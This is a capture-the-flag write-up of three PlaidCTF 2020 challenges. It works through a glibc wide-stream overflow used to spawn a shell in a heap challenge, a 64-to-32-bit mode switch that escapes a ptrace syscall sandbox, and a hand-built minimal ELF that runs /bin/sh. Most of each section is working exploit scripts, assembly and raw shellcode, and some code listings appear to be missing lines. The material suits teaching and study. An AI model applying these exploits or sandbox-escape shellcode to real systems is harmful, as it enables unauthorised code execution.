PlaidCTF 2020 Writeups

I played PlaidCTF in shibad0gs and reached 38th place.


I'm going to write up the challenges I solved during the CTF. I don't write about "YOU wa SHOCKWAVE" as I mostly guessed the flag. (It was about disassembling shockwave media --> finding input which satisfies 21 equations.)

[Pwnable 250pts] EmojiDB (26 solves)

Server: nc emojidb.pwni.ng 9876
File: emojidb-efd43c685db20b699d7d7ded996d7dc475fbd9c0d0b8da4597254d16810fe97f.tar.gz

It seems a heap-exploit challenge. The input is converted from UTF-8 to unicode. There're 4 choices:

  • 🆕:Create and write a note. (Maximum 4 notes, but can make 5th note by bug.)
  • 📖:Show a note. (Just checks the pointer and doesn't check in_use flag)
  • 🆓:Delete a note. (Set in_use flag to 0 but doesn't set the pointer to null.)
  • 🛑:Quit the program.

You can easily find UAF in show function. Every note has in_use flag and it's set to 1 when created, to 0 when deleted. In show function doesn't check the flag, which causes UAF read.

However, the address is recognized as unicode and converted to UTF-8, then leaked. I didn't know how to convert invalid unicode to the original byte array. @aventador told me libc uses wcsnrtombs to convert code. I wrote the following script to convert unicode and UTF-8.

#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <unistd.h>

int main(int argc, char **argv) {
  int i;
  unsigned char out[0x10] = {0};
  unsigned char in[0x10] = {0};
  setlocale(0, "en_US.UTF-8");

  if (argc < 2) {
    printf("Usage: %s [1|2]\n", argv[0]);
    return 1;

  if (argv[1][0] == '1') {
    read(0, in, 0x10);
    mbstowcs((wchar_t*)out, in, 0x10);
    write(1, out, 8);
  } else {
    read(0, in, 8);
    wcstombs(out, (wchar_t*)in, 0x10);
    write(1, out, 0x10);
  return 0;

Leak is done, but how to pwn?

He also found a critical information about a bug in libc-2.27.


This bug was reported in December 2016 but fixed in February 2020. Here is a simple PoC:

#include <locale.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
  setlocale(LC_ALL, "en_US.UTF-8");
  wchar_t *buf = (wchar_t*)calloc(sizeof(wchar_t), 10);
  fgetws(buf, 10, stdin);
  exit(0); // call _IO_wfile_sync

It doesn't seem vulnerable at first glance. However, when we feed a large number of input in fgetws, it'll cause crash in _IO_wfile_sync. This is because fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end can be negative.

fgetws is used in the task too, but it doesn't cause crash because wscanf is used after that, which cansumes the input buffer.

One more suspicious thing is 0xAE9. When we give an invalid choice, it just prints "😱" usually. If dword_2020E0 is not zero, it prints our input to stderr. This is suspicious because there's no path to reach here normally. We can reach here by creating 5th chunk and overwrite dword_2020E0.

So, what to do is obvious. We use _IO_wfile_sync of stderr to cause overwrite. As far as I experimented, the bug causes overflow in _IO_wide_data_1. Inside _IO_wide_data is a function pointer.

I overwrote the pointer to system and prepared /bin/sh string in the place where rdi points, which is also in _IO_wide_data.

My exploit:

from ptrlib import *
import time

def show(index):
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f4d6".encode('utf-8'))
    return sock.recvline()#.decode('utf-8')

def new(size, data):
    sock.sendafter(b"\xe2\x9d\x93", "\U0001f195".encode('utf-8'))

def free(index):
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f193".encode('utf-8'))

def flag():
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6a9".encode('utf-8'))

def end():
    sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6d1".encode('utf-8'))

def utf2uni(x):
    p = Process(["./convert", "1"])
    y = p.recv()
    return y
def uni2utf(x):
    p = Process(["./convert", "2"])
    y = p.recv().rstrip(b'\x00')
    return y

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

# libc leak
while True:
    #sock = Socket("localhost", 9876)
    sock = Socket("emojidb.pwni.ng", 9876)

    new(0x110, "A")
    new(0x10, "B")
    x = show(1).strip(b"\xf0\x9f\x86\x95\xf0\x9f\x93\x96\xf0\x9f\x86\x93\xf0\x9f\x9b\x91\xe2\x9d\x93\xf0\x9f\x98\xb1")
    if x[0] == ord('?'):
        logger.warn("Bad luck!")

    libc_base = u64(utf2uni(x[:len(x)//2])) - libc.main_arena() - 0x60
    logger.info("libc = " + hex(libc_base))
    if libc_base < 0x7f0000000000:
        logger.warn("Bad luck!")

# stack overwrite
IO_wide_data = libc_base + 0x3eb9e8
system = libc_base + libc.symbol('system')
logger.info("IO_wide_data = " + hex(IO_wide_data))
logger.info("system = " + hex(system))
for i in range(4):
    new(3, "A")
payload = b'A\0\0\0'*3
payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2
for i in range(4):
    payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2
payload += uni2utf(b'/bin') + uni2utf(b'/sh\0')
payload += uni2utf(p64(system)[:4]) + uni2utf(b'\xfc\x7f\x00\x00')
payload += uni2utf(b'\xfb\x7f\x00\x00') + uni2utf(b'\xfc\x7f\x00\x00')
payload += b'2' * 10
sock.sendlineafter(b"\xe2\x9d\x93", payload)


[Pwnable 200pts] sandybox (54 solves)

Server: nc sandybox.pwni.ng 1337
File: sandbox

It's a ptrace sandbox. We can execute 10 bytes shellcode in the child process under some syscall restrictions. The following system calls are allowed:

  • open: The length of filename must be less than 16 bytes. RSI must be O_RDONLY. Must not contain "flag", "proc", "sys" in the filename.
  • alarm: RDI must be less than or equals to 20.
  • mmap / mprotect / munmap: RSI (len) must be less than or equals to 0x1000.
  • read / write / close / fstat / exit_group / exit / getpid: No restriction.

Our goal is open / read and write the contents of ./flag. A challenge from TokyoWestern CTF, Diary, hit my mind. It was about bypassing seccomp by changing CS register in shellcode.

I checked 32-bit system call and BINGO! fstat is allowed and the number is 5, which is open in 32-bit.

We can use retf to change 64-bit to 32-bit. I wrote the following shellcode that allocates buffer in 32-bit address space and reads next (32-bit) shellcode:

global _start
  mov r9, 0
  mov r8, -1
  mov r10, 0x21
  mov rdx, 7
  mov rsi, 0x1000
  mov rdi, 0x8880000
  mov rax, 9
  mov rdi, 0x7770000
  mov rax, 9

  mov rdx, 0x100
  mov rsi, 0x7770000
  xor edi, edi
  xor eax, eax
  mov rsi, 0x7770800
  xor eax, eax

  xor rsp, rsp
  mov esp, 0x8880800
  mov DWORD [esp+4], 0x23
  mov DWORD [esp], 0x7770000

  db 'EOF'

Then open the flag, read the contents, and return to 64-bit mode:

  global _start:
  xor eax, eax
  push eax
  mov eax, 0x67616c66
  push eax
  xor edx, edx
  xor ecx, ecx
  mov ebx, esp
  mov eax, 5
  int 0x80

  mov edx, 0x100
  mov ecx, esp
  mov ebx, eax
  mov eax, 3
  int 0x80

  push eax
  push eax
  mov DWORD [esp+4], 0x33
  mov DWORD [esp], 0x7770800

  mov eax, 1
  int 0x80

  db 'EOF'

Here is the exploit:

from ptrlib import *

#sock = Socket("localhost", 9999)
sock = Socket("sandybox.pwni.ng", 1337)

shellcode  = b'\xb2\xff'     # mov dl, 0xff
shellcode += b'\x48\x89\xde' # mov rsi, rbx
shellcode += b'\x31\xc0'     # xor eax, eax
shellcode += b'\x0f\x05'     # syscall
shellcode += b'\x90'
sock.sendafter("> ", shellcode)

with open("shellcode.o", "rb") as f:
    shellcode = f.read()
shellcode = shellcode[:shellcode.index(b'EOF')]
shellcode += b'\x90' * (0xff - len(shellcode))
sock.send(shellcode) # x64-->x86

with open("shellcode32.o", "rb") as f:
    shellcode = f.read()
shellcode = shellcode[:shellcode.index(b'EOF')]
shellcode += b'\x90' * (0x100 - len(shellcode))
sock.send(shellcode) # x86-->x64

shellcode  = b'\x48\xc7\xc2\x00\x01\x00\x00'
shellcode += b'\x48\x89\xe6'
shellcode += b'\x48\xc7\xc7\x01\x00\x00\x00'
shellcode += b'\x48\xc7\xc0\x01\x00\x00\x00'
shellcode += b'\x0f\x05'
sock.send(shellcode) # write


[Misc 250pts] golf.so 2 (104 solves)

The challenge is to make a 64-bit shared object which executes "/bin/sh" when used like

$ LD_PRELOAD=golf.so /bin/true

@akiym wrote 223-byte binary and got the first flag. We needed to cut 30-byte off more in order to get the second flag.

I re-wrote akiym's binary to nasm format. Then I found I could overlap FINI to DYNAMIC section, which dynamically reduces the size.

  BITS 64
  ORG 0x00000000

  db 0x7f, "ELF"                ; e_ident
  dd 0x010102
  dd 0
  dd 0
  dw 3                          ; e_type
  dw 0x3e                       ; e_machine
  dd 1                          ; e_version
  db '/bin/sh', 0               ; e_entry
  dq 0x40                       ; e_phoff
  call b                        ; e_shoff
  pop rdi
  sub rdi, 0x15                 ; +2 e_flags
  xchg esi, eax
  push rax
  jmp c                         ; e_phsize
  dw 56                         ; e_phentsize
  dw 2                          ; e_phnum
  push rdi
  push rsp                      ; e_shentsize
  mov al, 59                    ; e_shnum
  jmp d                         ; e_shstrndx

  dd 1                          ; LOAD
  dd 7                          ; rwx
  dq 0
  dq 0
  pop rsi
  xor edx, edx
  dq 0x1d0
  dq 0x1d0
  dq 0x200000

  dd 2                          ; DYNAMIC
  dd 7                          ; rwx
  dq 0xdeadbeefcafebabe
  dq 0x90
  dq 0xd                        ; FINI (overlap)
  dq 0x28                       ; address
  dq 5
  dq 0xdeadbeefcafebabe
  db 6

177 bytes.